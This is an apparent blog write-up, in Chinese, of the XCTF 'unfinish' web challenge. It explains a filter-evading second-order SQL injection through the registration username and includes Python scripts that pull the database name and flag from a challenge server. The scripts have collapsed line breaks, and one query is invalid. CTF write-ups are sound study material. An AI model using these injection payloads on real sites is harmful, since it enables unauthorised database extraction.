题目分析

题目描述为:SQL

题目主要功能界面分析:

主要分为注册、登陆、以及成功登陆后的一个界面。

通过描述可以知道题目应该存在SQL注入漏洞。

扫描得知注册界面存在SQL注入漏洞

尝试构造sql盲注语句如下

{'username': "1' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),1)='d',SLEEP(5)) or '1'='1", 'password': 'admin', 'email': 'eamil@eamil.com'}

得到结果为

即存在过滤

测试发现过滤了逗号、information

那么使用盲注应该不太行了,但是username这边的内容是可以执行,所以我们将username的值拼接上查找出来的内容,利用登陆后会显示用户名做到一个二次注入的效果。

解题流程

首先可知注册的sql语句应该为

insert into tables values('$email','$username','$password')

我们通过控制post的参数

构造sql语句为:

insert into tables values('admin1@admin.com','0'+ascii(substr((select database()) from 1 for 1))+'0','admin')

即插入的username即拼接上了我们要查找的

查数据库脚本如下

import requests
import time
from bs4 import BeautifulSoup       #html解析器def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注册requests.post("http://159.138.137.79:52974/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://159.138.137.79:52974/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databaseprint(getDatabase())

得到数据库名为web

然后尝试获取表名失败,因为过滤了information

看了评论说表名全靠猜哈哈

还是给上一个获取flag的脚本

脚本中途获取表名失败了,被我注释了~~emmm

import requests
import time
from bs4 import BeautifulSoup       #html解析器def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注册requests.post("http://159.138.137.79:52974/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://159.138.137.79:52974/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databaseprint(getDatabase())def getTables():tables = ''for i in range(10):data_tables = {'username':"0'+ascii(substr((select tables()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin12@admin.com"+str(i)}#注册requests.post("http://159.138.137.79:52974/register.php",data_tables)login_data={'password':'admin',"email":"admin12@admin.com"+str(i)}response=requests.post("http://159.138.137.79:52974/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breaktables+=chr(int(username))return tables
'''
print(getTables())
'''def getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注册requests.post("http://159.138.137.79:52974/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://159.138.137.79:52974/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getFlag())

攻防世界-web-unfinish-从0到1的解题历程writeup相关推荐

  1. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  2. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  3. CTF:攻防世界web PART01

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) 攻防世界web PART01 baby_web Traini ...

  4. 攻防世界——web新手题

    攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...

  5. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  6. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

  7. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  8. 攻防世界web进阶区Web_php_wrong_nginx_config详解

    攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...

  9. 攻防世界-web新手区wp

    攻防世界-web新手区wp view source robots backup cookie disabled_button weak auth simple php get_post xff_ref ...

  10. 攻防世界WEB进阶之ics-05

    攻防世界WEB进阶之ics-05 1.描述 2.实操 3.答案 1.描述 难度系数: 3星 题目来源: XCTF 4th-CyberEarth 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后 ...

最新文章

  1. 安装和使用Oracle Instant Client 和 SQLPlus
  2. css3 media媒体查询器用法总结
  3. python 异步 生产者 消费者_python线程------queue、生产者和消费者模式
  4. SSE/AVX/AVX2汇编技巧
  5. 对日外包总结-泛泛而谈
  6. win10 uwp 打电话
  7. 石川:出色不如走运 (III)?
  8. 绝地求生更新维护限时领取星魂套装
  9. 上学易 APP - 小学信息平台,学区查询,幼升小,小学,学区,学校基础信息平台
  10. 【SQL 中级语法 2】自连接的用法
  11. 黑马 Java八股文面试题视频教程,Java面试八股文宝典(虚拟机篇)
  12. 相对论通俗演义(1-10) 第九章
  13. java桌面程序与服务交互_Java作为具有交互式桌面支持的Windows服务并读取curren登录用户...
  14. 给定一系列正整数,请按要求对数字进行分类,并输出以下5个数字
  15. 以太坊的 Merkle 树
  16. vscode 快捷键-CSDN
  17. PHP Request请求封装
  18. VC写一个荣光医院修补弹坑游戏助手
  19. Matlab:如何利用层次分析法(升级版)计算具有多重指标的判断矩阵的一致性检验和权重
  20. 物流推荐|分流分拣式滚筒输送机 河北滚筒输送机实现多品种共线分流输送

热门文章

  1. mapreduce编程初级实践_涨姿势!2020最好的 10 大国外编程学习网站
  2. java project 部署_关于Java Project项目在Linux下部署步骤及注意事项
  3. 七、Sqoop架构,安装和基本使用
  4. 前言、Python是真的火,还是炒得火?来看看它的前世和发展
  5. 虚拟机中Ubuntu不能联网----
  6. 报名开启!AI+科学计算专场直播:大咖齐聚×独家礼物,限量200份
  7. Transformer性能优化:运算和显存
  8. PW Live直播 | 清华大学​高天宇:对比学习及其在NLP中的应用
  9. 近期我们在读的那些优质论文,你不了解下?
  10. AI识虫:林业病虫害数据集和数据预处理方法